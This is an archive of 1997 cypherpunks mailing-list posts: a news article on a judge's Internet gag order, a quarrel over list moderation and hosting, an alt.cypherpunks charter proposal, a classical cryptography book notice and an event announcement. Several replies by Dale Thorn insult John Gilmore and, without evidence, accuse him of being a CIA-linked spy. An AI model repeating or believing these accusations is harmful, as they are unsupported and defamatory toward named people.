Subject: Indiana judge extends gag order to the Net, from TNNN

The Netly News Network
http://netlynews.com/

   Gag On This 
   by Declan McCullagh (declan@well.com)
   February 10, 1997
   
        The point of moving a trial or selecting a jury from a distant
   county is, of course, to prevent jurors from being influenced by the
   local media and opinions of the nearby community. But what if the
   media are global and the community is virtual?
   
        That enigma is causing problems for an Indiana couple on trial
   for reckless homicide in the November 1995 death of their son from    
   meningitis. Bill and Sarah Planck had hoped to demonstrate their
   innocence through the Net, and so another son created a web site with
   documents from a counter-lawsuit filed against the county welfare
   agencies and sheriff's department, detailing how police threatened and
   intimidated the family.

        Now the judge presiding over their criminal trial has ordered the
   Plancks to pull the plug on the site.

        Madison County judge Fredrick Spencer told me he extended an
   existing gag order to the Internet because the tort claim notice could
   influence jurors. "We went two counties away to get the jury. But
   people in Randolph County have computers and America Online. So to
   avoid any possible problem, I ordered them to take it off," Spencer
   said.

        Spencer says the order was necessary to preserve the integrity of
   the trial. "It's only the trial that I'm concerned with," he said. "If
   I don't do what I can, I risk having to do [the trial] over again."

        Yet as soon as the Plancks yanked the documents offline on
   January 27, copies sprouted on the web site of a supporter -- beyond
   the reach of Judge Spencer.

        Who's right, Spencer or the Plancks? I posed that question to
   David Post, a professor at Georgetown Law School. "Gag orders may in a
   way be a thing of the past," he replied.

       "It becomes an enforcement dilemma with respect to the Internet.
   It's a hell of a lot easier to enforce that gag order [locally]. You
   really only have to keep your eye on a very small number of
   dissemination vehicles," Post said. "Gag orders are violated on
   occasion, but by and large you have some confidence that they'll be
   respected. Obviously you can't anymore."

        Gag orders stem from the right to an impartial jury. "We think
   that sometimes -- rarely, but sometimes -- that can best be
   accomplished by controlling the kind of information potential jurors
   might see. The Net deforms the landscape," Post said.

        Katharine Liell, the Plancks' attorney, was reluctant to discuss
   the case for fear of violating the gag order -- which covers her as
   well. "I'm uncertain what I can and can't say due to the vagueness of
   the gag order," she said. "Gag orders are supposed to be specific in
   nature, but I don't understand the nature or breadth of this gag order
   so I'm not comfortable commenting at this time."
   
        The legal question at issue in this prosecution is whether the
   Plancks are guilty of four felony charges, including reckless homicide
   and involuntary manslaughter, in the death of Lance Planck from    
   pneumococcal meningitis. The verdict may depend on the answer to one  
   question: Did the Plancks wait too long to call 911? More than the
   couple, however, is on trial. The case also reveals how a child      
   protection agency can be used as a weapon to threaten parents and
   divide a family. The mirrored documents tell a sad story of a poor    
   family who lived in a trailer park and home-schooled their eight
   children, and their long-standing battle with Madison County social
   workers. 
   
        The first salvo came in 1992, when a social worker visited the
   Planck home to investigate the children's alleged vision problems.
   Based on that visit, a judge ordered that their eyes be examined. A   
   month later, police invaded the Planck home and forcibly removed the
   children. The tort notice describes other encouters, including tear
   gas canisters lobbed into their home and warrantless arrests.      
        
       "I've known the Plancks for a long time," said Brent Tobin, an
   electrical engineer who mirrored the web site. "I've lived in the town
   all my life. I know there's nothing going on there. The deputy        
   prosecutor made them out to be religious weirdos, but they're not."

       "I put up the web site since I don't feel that the county  
   government should have jurisdiction over the World Wide Web. I think
   there should be freedom of speech. I feel gag orders are a violation
   of rights," Tobin said.

        For his part, Judge Spencer emphasized that his gag order        
   "expires at the end of the case. Free speech is an important right and
   I'm going to be the last person to have a problem with it."

        What about the mirror site? Has his order accomplished anything?
   "The Planck supporters are going to put it on there," Spencer replied.
   "If you're suggesting that I'm tilting at windmills, perhaps you're
   right."
   
###







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 11 Feb 1997 06:48:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <Pine.SUN.3.91.970211053825.18392D-100000@crl7.crl.com>
Message-ID: <3300864F.1DED@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort wrote:
> You have probably just read John's post.  I truly hope YOU (each
> and every one of you) can rise to his challenge.  If you have
> offered nothing in the past but criticism, it's now time to get a
> bit more real.  What will it be, your money, time, equipment?

What challenge?  An offer to break code for money?  Not likely,
is it?

> I would hope that the loudest advocates of "free speech" turn out
> to be the most generous, but I'm not holding my breath.  Maybe
> the solution(s) will come from you lurkers.  I hope you can put
> down your beer long enough to get involved.

Generous with what?  Get involved with crypto?  That's why they're
here in the first place, yes?

> Finally, if anyone wants to discuss why the Cypherpunk list has
> come to this, or what I did right or wrong as a moderator, let's
> talk about--on the new list(s) YOU create.  For now, though, it's
> off-topic.  We have work to do.

I think they already talked about it, and the decision is in.  What
does "off-topic" mean? Does it mean further criticism will be censored?

> P.S. To all those people who privately supported me in my attempt
>      to help the list deal with its problems, thank you.

Help the list?  You almost destroyed the list.  If you wanted to
help, you should have provided lessons on filtering.

> I wouldn't have come back without your and John's encouragement.

A lot of people wish you hadn't come back.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 11 Feb 1997 07:15:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702111154.DAA16237@toad.com>
Message-ID: <33008CCE.28E0@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore wrote:
> Sandy hit a pothole in the moderation experiment when Mr. Nemesis
> submitted a posting containing nothing but libelous statements about
> Sandy's employer.  He never anticipated that he wouldn't be able to
> follow his announced "post it to one list or the other" policy because
> to do so would make him legally liable (in his opinion; he's a lawyer,
> I'm not).  His gears jammed, and the whole machine came to a halt for
> a few days.

Naturally he hit a pothole.  Censorship has its price, and you
folks just discovered it.  But censors never give up, do they?
Especially when there are hidden agendas.

> Sandy has agreed to continue moderation through the end of the
> original 1-month experiment (through Feb 19).  And it's a good thing,
> too, because the "cypherpunks community" had better get off its
> whining butt in the next ten days, or it will no longer exist.

John Gilmore is so disrespectful of the human beings on this list
that he whines and complains about their "attitudes", as though
he had a right to control them.  What a jerk.

> I've come to the conclusion that I'm not willing to host the
> cypherpunks list any more.  It's not the true assholes that brought me
> to this decision; it's the reaction from the bulk of people on the
> list: suspicion, flamage, and criticism with every attempt to improve
> things.  I noticed few people volunteering some of their own time,
> money, or machines to help out.  Almost all the suggestions were
> advice for *other* people to implement:

Not willing because of some additional burden?  No.  It's because you
were outed as a censor and a jerk, and you can't get back the respect
you previously had.  The sour grapes you're displaying here are worthy
of a little child, not an adult.

> Now each of these posters will get their chance to do it "right" --
> on their own time and with their own resources.

Read: I'm gonna take my bat and ball and go home...

> A large fraction of the list seems to think that "freedom of speech"
> means that everyone is required to listen to everyone else at all
> times.  That there can't be focused, topical conversations in a
> society that has freedom of speech.  I would say the opposite; part of
> freedom of speech is the freedom to choose to whom we speak and to
> whom we listen.  This is part of what cryptography does: lets us
> control who can receive our speech, and lets recievers determine who
> the speaker is.

Everything was fine until you decided to screw it up.  Then your
emotional, denying little brain trys to blame it on everyone else.

> There also seems to be a misunderstanding that freedom of speech
> requires that people who want to speak already have a place, set up
> and maintained by someone else, for them to speak in.

There are places to speak, and people try to speak in those places.
When they are cut off, then they complain.  Nobody complained before
you had an open forum that you weren't providing same.  That's your
denial kicking up, not mine.

> If someone
> who's set up a speech-place decides it isn't being used for its
> intended purpose, then they are a censor, stopping all possibility of
> conversations.  Did you forget that there are millions of other places
> to speak in cyberspace, millions more in realspace, and that you can
> personally create more if you don't like any of the ones you know about?

Intended purpose?  Did you really believe that setting up an open
forum gave you the right (or any option) to control the content?
Are you so immature that you can't handle complaints?

> To paraphrase Zappa, you wouldn't know censorship if it bit you on the
> ass.  You think you're being censored when you're just being excluded
> from a forum because what you're saying isn't interesting to that forum.

I know a lot of things, especially after they've bit be in the ass.
Especially about censors and CIA-related trolls like yourself, who
set up forums to collect info on unsuspecting American citizens.
Made any "yeti" expeditions lately?

> So anyway, I'm tired of it all.  I'd much rather focus on getting my
> crypto work done than babysitting majordomo, tracking down attempts to
> subscribe the entire US Congress to the list, and debating the seventy
> or eighty "obvious right ways" to handle the list.

Read: I need to find a new troll that's not being sabotaged by
alert citizens.

> This is a "put up or shut up" to the cypherpunks community.
> Either you list denizens will, among yourselves, put in the energy to
> build a new home for the list (and run it in whatever way your
> volunteers want) by Feb 20, or the list will cease to exist on Feb 20.

Jeez, do you have an ego or what?  Who died and made you the king?
Your only claim to fame is your equipment that's hosting the list.
Your reputation is in the toilet.  You're nobody.  In fact, you're
less than nobody.  Your best bet would be to crawl into a hole and
pull the dirt in over you.

> The next ten days of moderated discussion, through the end of the
> original experiment, will give the community a chance to discuss
> whether and where it plans to host the list after the experiment is
> over.  My feeling is that the stalkers who have been trying to shut it
> down (Dimitri, etc) will be out in full force, trying to disrupt the
> process of finding a new home.  It would be very hard to make progress
> along that line in an unmoderated list.  Cypherpunks-unedited readers
> are welcome to try.

Yet another accusation that Dimitri's purpose is to "shut it down".
The very fact that it's you who have the com puts the lie to that.

> Sandy reports that he's changing his criteria for moderation for the
> remainder of the experiment.  It was his idea, and I approve.  The
> criteria now are:

Another experiment run by the same incompetent bozo who screwed up
the first experiment.  Don't you clowns ever get it?  You do, but
then again, you have a hidden agenda.

>         *  The topics of the list are:
>                 cryptography
>                 setting up replacements for cypherpunks@toad.com
>         *  On-topic, legal, posts will go to the list.
>         *  Postings with any hint of legal liability (in Sandy's opinion)
>            will be silently ignored.
>         *  Legal but off-topic posts will go to cypherpunks-flames.
> 
> Sandy will apply these criteria retroactively to the backlog (of about
> 140 messages), which means that most recent criticisms of the
> moderation (which don't invove someone volunteering to do things for
> the list) will go straight to the flames list.  If you don't like it,
> I recommend that you start your own list.  Soon.
> 
> For me it's a sad thing that the community's willingness to pull
> together has degenerated to the point where I feel better off
> separating from the list.  I hope that others in the community will
> create one or several alternatives that work better.

So you think you've fulfilled your obligation?  There's only one
thing that will ever save you.  Get down on your knees and confess,
saying to God and the list subscribers what a pathetic sinner you
are, and beg for their forgiveness.  Then get to work for the people,
and give up trolling for the feds.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 11 Feb 1997 07:26:42 -0800 (PST)
To: Brad Dolan <bdolan@USIT.NET>
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <Pine.GSO.3.95.970211071647.21204B-100000@use.usit.net>
Message-ID: <33008EB2.6D86@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Brad Dolan wrote:
> How do you encourage people to use resources more-or-less wisely?
> 1.  The socialist/nanny model - take charge and give 'em orders
> We've tried that and it apparently didn't work out.
> 2.  The market model - charge people for what they use
> A while back, omebody suggested a system which would be self-funding, by
> charging people for each post they made.  Maybe we should try it?  If
> each little piece of ASCII art cost a poster a buck or two to send, he
> might send fewer.  On the other hand, we don't want to discourage
> interesting posters, so I think some system to reimburse interesting
> posters would be useful.
> I'm not the guy to set up the system, but I'll happily buy a modest amount
> of "posting tickets."

When you're a spy, you usually pay for info.  In John's case, he's
been getting the info for free.  Now you're suggestion he charge
people for providing him the info.  This is not the direction John
wants to go.  He just wants cleaner info, that's all.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brad Dolan <bdolan@USIT.NET>
Date: Tue, 11 Feb 1997 04:26:59 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702111154.DAA16237@toad.com>
Message-ID: <Pine.GSO.3.95.970211071647.21204B-100000@use.usit.net>
MIME-Version: 1.0
Content-Type: text/plain


How do you encourage people to use resources more-or-less wisely?

1.  The socialist/nanny model - take charge and give 'em orders

We've tried that and it apparently didn't work out.

2.  The market model - charge people for what they use

A while back, omebody suggested a system which would be self-funding, by
charging people for each post they made.  Maybe we should try it?  If
each little piece of ASCII art cost a poster a buck or two to send, he
might send fewer.  On the other hand, we don't want to discourage
interesting posters, so I think some system to reimburse interesting
posters would be useful.

I'm not the guy to set up the system, but I'll happily buy a modest amount
of "posting tickets."

Brad



On Tue, 11 Feb 1997, John Gilmore wrote:

> Sandy hit a pothole in the moderation experiment when Mr. Nemesis
> submitted a posting containing nothing but libelous statements about
> Sandy's employer.  He never anticipated that he wouldn't be able to
> follow his announced "post it to one list or the other" policy because
> to do so would make him legally liable (in his opinion; he's a lawyer,
> I'm not).  His gears jammed, and the whole machine came to a halt for
> a few days.
> 
> Sandy has agreed to continue moderation through the end of the
> original 1-month experiment (through Feb 19).  And it's a good thing,
> too, because the "cypherpunks community" had better get off its
> whining butt in the next ten days, or it will no longer exist.
> 
> I've come to the conclusion that I'm not willing to host the
> cypherpunks list any more.  It's not the true assholes that brought me
> to this decision; it's the reaction from the bulk of people on the
> list: suspicion, flamage, and criticism with every attempt to improve
> things.  I noticed few people volunteering some of their own time,
> money, or machines to help out.  Almost all the suggestions were
> advice for *other* people to implement:
> ...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 11 Feb 1997 07:04:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Proposal: alt.cypherpunks (unmoderated)
In-Reply-To: <855650862.27942@dejanews.com>
Message-ID: <2uoy2D14w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


gbroiles@netbox.com writes:
>
> Some people, including myself, believe that the Cypherpunks mailing list
> (cypherpunks@toad.com), running since sometime in 1992, has outgrown the
> mailing list format and should move to Usenet. The advantages once gained
> by running as a mailing list (faster propagation, more personal/intimate
> atmosphere, freedom from Usenet-style flames & spams) are no longer
> present. Questions about the appropriateness of moderation, moderator
> liability for various "bad" kinds of messages, and the potential for
> content control  where there is a single point for distribution have
> become very prominent concerns among list members. It's time to move to
> Usenet.

Greg Broils works for Sameer Parekh's C2Net - as does Sandy Sandfart.
Given Sandy's recent actions, I think any such proposal coming from a
C2Net employee should be viewed with extreme suspicion.

> Hence, this prelude to a newgroup.  Two cypherpunk-related newsgroups now
> exist; mail.cypherpunks and jyu.ohjelmointi.cypherpunks. mail.cypherpunks
> is unsatisfactory to become a destination for Usenet-originated
> cypherpunk traffic because its name implies that it's a gateway from a
> mailing list. This is presently true, but this proposal is intended to
> create a newsgroup which supplements or replaces the current mailing
> list. I've got no clue where "jyu.ohjelmointi.cypherpunks" originates,
> who's in charge of it, or what "jyu.ohjelmointi" is or stands for.
> Judging from the limited selection of messages which seem to reach
> DejaNews and AltaVista from it, it suffers from relatively poor
> propagation.

Greg probably doesn't know where "Finland" is.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brian D Williams <talon57@well.com>
Date: Tue, 11 Feb 1997 08:04:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: [CRYPTO] Classic Cryptography
Message-ID: <199702111604.IAA26274@well.com>
MIME-Version: 1.0
Content-Type: text/plain




                    FOR IMMEDIATE RELEASE

                       6 February 1997


Aegean Park Press proudly announces publication of CLASSICAL
CRYPTOGRAPHY COURSE - VOLUME II by Randall K. Nichols
[LANAKI]. [ISBN: 0-89412-264-9, 1997, 464 pages, $US 40.80 ]
 
Volume II presents Lectures 11 - 22 (of a total of
twenty five) from his successful course in Classical
Cryptography taught in 1995 and 1996 to 391 students via
the Internet and an additional 65 via regular mail.

Volume II covers polyalphabetic substitutions ciphers in
the Vigenere family (Viggy, Variant, Beaufort, Porta,
Gronsfeld, Portax, Gromark), decimation, principles of
symmetry, isologs and superimposition solution
techniques.  Volume II describes the difficult aperiodic
cipher systems (Interrupted key, Autoclave, Progressive,
Running Key used in cipher machines) and their analysis
by isomorphs, and repetitions. Cryptarithm solutions for
extended bases are presented. The theory of coincidences
and statistical attacks (Kappa, Chi, Phi) derived from
this important theory are detailed.  Transposition
theory and a variety of transposition ciphers are solved
(Columnar, Amsco, Myszkowski, Cadenus, Grille, Swagman,
Auto-Transposition).  Volume II has two chapters on the
difficult cipher systems invented by the famous French
cryptographer Delastelle: Foursquare, Bifid and Trifid.
Volume II presents a detailed chapter on passwords, law
and data protection.  Volume II ends with a historical
look at codes, commercial code systems, and famous
cipher machines.  Volume II is a potpourri of advanced
topics in classical cryptography.

The Cryptographic Resources and References section has
been expanded to cover all phases of involvement with
cryptography: cryptanalysis, history, legal, social,
classical, modern, NSA, mathematical techniques,
recreational, intelligence, tactical, strategic,
National Defense, INFOSEC: offensive and defensive,
hardware, software, standards, public key cryptography,
web sources, and applicable Senate and House bills.
Readers are encouraged to expand their knowledge in the
many directions possible to them through this section.
 
For orders or Information Contact: Aegean Park Press, P.O.
Box 2837, Laguna Hills, Ca. 92654. Telephone: 1-800-736-3587;
Fax: 1-714-586-8269.  Group discounts available.
 







REVIEW OF CLASSICAL CRYPTOGRAPHY COURSE, VOLUME I
By the Honorable David Kennedy, Director of Research,
NCSA.


     Classical Cryptography Course, Volume I.  By
Randall K. Nichols; published by Aegean Park Press,
(714) 586-8811 (phone) (714) 586-8269 (fax); (800) 736
- 3587; 301 pages (with index); $34.80 (American
Cryptogram Association members receive a 20% discount
through ACA or NCSA Members receive a 10% discount if
purchased from the NCSA Bookstore)

     In Classical Cryptography Course, Volume I, author
Randall K. Nichols has created a benchmark for serious
students of the science of cryptography.  This is a
text.  It is for learning, and with it one cannot help
but learn about the foundations of the science.  An
outgrowth of Nichols' admitted "labor of love" in the
online Cryptography Courses he teaches over the
Internet, Volume I creates the foundation for
understanding the development of the science.

     The ten chapters of this volume lead the student
through simple substitutions, substitutions with
variants, multiliteral substitutions, xenocrypts
(foreign language substitutions), cryptarithms, the
Enigma machine (separate Enigma95 program disk available
direct from the author) and finally to polyalphabetic
substitutions.  Seven chapters conclude with problems;
solutions and discussions are provided in an appendix.
The text is indexed with twenty-four pages of references
for further study.

     I found Nichols' sense of the history of
cryptography particularly noteworthy.  The volume is
liberally salted with citations from history with
applications of the methods developed in the text.  From
Revolutionary France through the American Civil War, the
Tammany Hall scandal, Revolutionary Soviet ciphers and
Japanese successes against Chinese codes prior to Pearl
Harbor, the text provides touchstones for student to
understand and relate to.

     Phil Zimmermann observed in the documentation to
his Pretty Good Privacy Program to "Beware of Snake
Oil." Among his arguments is this anecdote:

     I remember a conversation with Brian Snow, a highly
placed senior cryptographer with the NSA.  He said he
would never trust an encryption algorithm designed by
someone who had not "earned their bones" by first
spending a lot of time cracking codes.

     Where Schneier's Applied Cryptography is a crash
course in some encryption protocols and algorithms in
use today, Nichols' text begins the teaching of Snake
Oil detection and prevention.
Learning the fundamentals, developed throughout the
text, brings a richer understanding of the science, it's
history and insight into it's possibilities and some
vulnerabilities lurking for the unwary.

     Nichols plans for release Volume II in the series
with advanced material on from the online course which
includes statistical attacks and transposition in
February, 1997.

Reviewer:  Dave Kennedy, CISSP, is Director of Research
for the National Computer Security Association,
Carlisle, PA.  He is a retired Army military police
officer and member of NCSA, ASIS, ISSA and the Computer
Security Institute.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Tue, 11 Feb 1997 08:31:33 -0800 (PST)
To: Sandy Sandfort <sandfort@crl7.crl.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702111458.GAA20705@toad.com>
Message-ID: <3.0.1.32.19970211083054.02e60618@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 05:50 AM 2/11/97 -0800, Sandy Sandfort wrote:
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                          SANDY SANDFORT
> . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
>
>C'punks,
>
>You have probably just read John's post.  I truly hope YOU (each
>and every one of you) can rise to his challenge.  If you have 
>offered nothing in the past but criticism, it's now time to get a
>bit more real.  What will it be, your money, time, equipment?

What kind of memory requirements/machine load does the list eat up?  I have a
machine that may fit this purpose...  (Need to know if I need to upgrade the
box though.)


-----BEGIN PGP SIGNATURE-----
Version: 4.5

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---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Tue, 11 Feb 1997 09:06:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <v03007800af264c8cba96@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



(Please leave my name in any replies to ensure I see your comments.)

I talked to Hugh Daniel at the Saturday meeting about the creation of an
"alt.cypherpunks" unmoderated (of course) newsgroup as a possible
alternative (or supplement) to cypherpunks@toad.com. Greg Broiles and John
Gilmore were there for part of the discussion, too.

(We did not, unfortunately, get to the "future of the list" topic at the
physical meeting...the excellent presentations ran way over the expected
time and we never got to this topic. Sort of too bad, given John's edict
that we have 10 days to find and implement an alternative....)

A Usenet newsgroup has many advantages and disadvantages. Whether it might
be gatewayed to other mailing lists--perhaps even the list(s) which
survives "cypherpunks@toad.com"--depends of course on the decision of those
hosting others lists.

A charter statement is needed, and then the issuance of a creation message.
A better charter statement will increase the chances of more sites carrying
the newsgroup. While many sites carry essentially all newsgroups--more than
30,000--, some sites do not and only carry some of the alt.heirarchy. And
some sites do not carry _any_ of the alt newsgroups.

At Hugh's suggestion, I'm suggesting a "first cut" at a charter statement.
Suggestions for additional language or changes are welcome.

Charter for alt.cypherpunks: (suggested)

"Alt.cypherpunks is for the unmoderated discussion of cryptography and the
political, social, and economic implications of unrestricted, strong
cryptography. The Cypherpunks grpup has existed since 1992 and has been
central in the debate about strong crypto, government restrictions, crypto
anarchy, and in showing weaknesses of various ciphers and security
products. The mailing list has had as many as 1500 subscribers, plus
gateways to newsgroups and Web sites. It is expected that "alt.cypherpunks"
will be a free-wheeling forum for many viewpoints. As it is unmoderated,
readers are strongly advised to learn how to use filters and other tools
for making virtual anarchies manageable for their own tastes."

I invite your comments, editorial suggestions, etc. Perhaps when enough of
the "collective mind" has made inputs (ughh!), the charter can be submitted
with the creation message. (I'm not knowledgeable about the process, but
I'll bet many of you are.)

There are of course disadvantages to such a newsgroup, as any Usenet user
certainly knows. However, there are advantages as well. Here are some of
each:


* Advantages:

- Usenet is set up to automagically propagate articles across tens of
thousands of sites.

- there is no "nexus" of control, no chokepoint, no precedent (in the U.S.)
for halting distribution of Usenet newsgroups. (Canada stopped some
Homulka-Teale newsgroups a few years ago, other countries have blocked
entire sections, but note that the Scientologists have been unable to block
"alt.religion.scientology"...I surmise that a mailing list version of
a.r.s. would have faced lawsuits against the list.owner, if reachable in
U.S. or European courts...a lesson to think about with the current
imbroglio over certain claims about certain products and the possible
liability of Sandy and/or toad.com.)

- fairly sophisticated newsreading software already exists.

- no "unsuscribe" and "unscrive" messages! (It makes it easy for newcomers
to discover the group, read it for a while, then stop. It also, of course,
increases the number of "What is crypto?" sorts of messages.)

- persons cannot be unsubscribed from an unmoderated list

- with a Usenet group, there is no ability to impose notions of "order" on
the list (e.g., requirements for PGP-signing, demands for "on-topic" posts,
removal of "illegal" posts, etc.). Thus, people must deal with a virtual
anarchy by using proper tools, by ignoring what they don't want to see, or
by contracting out the role of "nanny" to others.


* Disadvantages

- Usenet newsgroups are easy targets for spammers, even more so than are
mailing lists.

- crossposting often gets out of hand. (With 30,000+ newsgroups, even
well-intentioned posters often pick the "three or four most likely" targets
for their posts).

- propagation is often spotty, and some sites have no access at all to the
"alt.*" hierarchy. (Many corporate sites block the alt heirarchy. Many
academic sites block just the alt.binaries.pictures heirarchy. Etc. A news
to mailing list gateway is possible for these readers.)

- propagation may be slower than mailing lists.

- Usenet is of course archived and easily searchable via Alta Vista, Deja
News, etc.. This bothers some people. (However, the CP mailing list is now
also archived and searchable, so the disadvantage is becoming moot.)

- persons cannot be unsubscribed from an unmoderated list (this is also an
advantage, of course)

- there will be more newbie-type messages, as casual browsers of Usenet
discover alt.cypherpunks and ask questions. This is both a disadvantage and
an advantage.


* Discussion of some of these points:

1. The issue of slow- or non-propagation can be handled by having mailing
lists which bounce the traffic (from a well-connected site) to folks who
get slow distribution, or no distribution at all. News to mail gateways, in
other words. Traffic in the reverse direction (end reader back to
alt.cypherpunks) can be handled either by "blind posting" to the a.c.
newsgroup, via one's newsreader, or through mail-to-news gateways, or
perhaps via the distributor described here.

2. And the services of "moderators," such as Eric Blossom's and Ray
Arachelian's "best of" lists, or even Sandy's list, are of course still
possible. A newsgroup does not change this, except for the latency in
getting messages out to newsgroup sites.

3. The advantages of a "no nexus, no chokepoint" distribution are huge. The
Usenet carries huge advantages in terms of having no place to attack it.

4. Some have raised the point that Usenet is "inefficient" and should not
be used for this reason. Well, it may indeed be ineficient, but the costs
have already been incurred, and alt.cypherpunks would only be 1/30,000th of
additional load (very roughly speaking). In other words, might as well use
what's out there. If a "second Usenet" ever comes into existence, fine.

5. Some of us discussed the creation of alt.cypherpunks back in '92-93. At
that time, we thought the mailing list had some major advantages. In my
view, the situation has changed dramatically since then. The mailing list
has become huge, the volume of noise has increased, majordomo is allowing
the list to be used for spamming (any 'bot system will probably have this),
and the list is already gatewayed to many sites as a _newsgroup_ anyway.

So, I think the time has come to just create it. The "activation energy
barrier" of a mailing list, where people would have to make the effort to
subscribe, has long since become irrelevant.

It may be a target for spammers, but it's hard to imagine it being much
worse than what we have now.

Usenet is an anarchy. We might as well use it.

I've never created an alt group, but I presume many of you have (and I know
of one currently fed up Cypherpunk who created the entire alt.* hierarchy a
decade or so ago). I presume some of you can thus help in such an effort.

--Tim May






Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 11 Feb 1997 06:53:36 -0800 (PST)
To: cryptography@c2.net
Subject: DCSB: Online Government & Electronic Commerce - Legislation andPublic Sector Initiatives
Message-ID: <v0300783eaf2631f82d7e@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


                 The Digital Commerce Society of Boston

                              Presents
                       Daniel Greenwood, Esq.
                       Deputy General Counsel
                  Information Technology Division
                   Commonwealth of Massachusetts

             "Online Government & Electronic Commerce -
              Legislation and Public Sector Initiatives"



                        Tuesday, March 4, 1997
                               12 - 2 PM
                   The Downtown Harvard Club of Boston
                     One Federal Street, Boston, MA


Dan will give us an update on recent information age legislative and
operational developments in the public sector.  Special attention will be
paid to: Electronic Signature and Record Legislation; Joint
Government/Private Sector Attempts to Set Certification Authority
Standards; Cutting Edge Public Sector PKI Projects; Recent Coordinated
State-Federal-Foreign Electronic Commerce Policy Initiatives; and much,
much more . . .

Speaker:
Daniel Greenwood, Esq.
Information Technology Division, Deputy General Counsel
Commonwealth of Massachusetts
Office: http://www.state.ma.us/itd/legal
home: http://www.tiac.net/biz/danielg

Mr. Greenwood practices information technology law for the Commonwealth
of Massachusetts.  Recent relevant activities include:
* Co-Author of the Draft 1997 Mass. Electronic Records and Signature Act
* Chairman of the Commonwealth of Mass. PKI Task Force
* Chairman of the ABA Info. Security Comm., Legislative Sub-Committee
* Co-Chair of the ABA Cyberspace Law Comm., Legislative Work Group
* Contributing Author: ABA Digital Signature Guidelines
* Negotiator of Contracts for Internet Security and Payment Systems
* Board Member of SigNet.Org and Chair of Legal Special Interest Group
* Director of the Virtual State House Project (MIT/Stanford Law School)
* Faculty Member: MCLE Health Care & Info. Technology Program
* Guest Lecturer for Suffolk Law School High Tech. Symposium
* Selection Board Chairman for First Commonwealth of Mass. C/A Business


This meeting of the Digital Commerce Society of Boston will be held on
Tuesday, March 4, 1997 from 12pm - 2pm at the Downtown Branch of the
Harvard Club of Boston, One Federal Street. The price for lunch is
$27.50. This price includes lunch, room rental, and the speaker's lunch.
;-).  The Harvard Club *does* have dress code: jackets and ties for men,
and "appropriate business attire" for women.

We will attempt to record this meeting and put it on the web in RealAudio
format at some future date

We need to receive a company check, or money order, (or, if we *really*
know you, a personal check) payable to "The Harvard Club of Boston", by
Saturday, March 1, or you won't be on the list for lunch.  Checks
payable to anyone else but The Harvard Club of Boston will have to be
sent back.

Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston,
Massachusetts, 02131. Again, they *must* be made payable to "The Harvard
Club of Boston".

If anyone has questions, or has a problem with these arrangements (We've
had to work with glacial A/P departments more than once, for instance),
please let us know via e-mail, and we'll see if we can work something
out.

Planned speakers for DCSB are:

March  Daniel Greenwood  The Role of State Government in Digital Commerce
April  Stewart Baker     Encryption Policy and Digital Commerce

We are actively searching for future speakers.  If you are in Boston on
the first Tuesday of the month, and you would like to make a
presentation to the Society, please send e-mail to the DCSB Program
Commmittee, care of Robert Hettinga, <mailto: rah@shipwright.com> .

For more information about the Digital Commerce Society of Boston, send
"info dcsb" in the body of a message to <mailto: majordomo@ai.mit.edu> .
If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in
the body of a message to <mailto: majordomo@ai.mit.edu> .

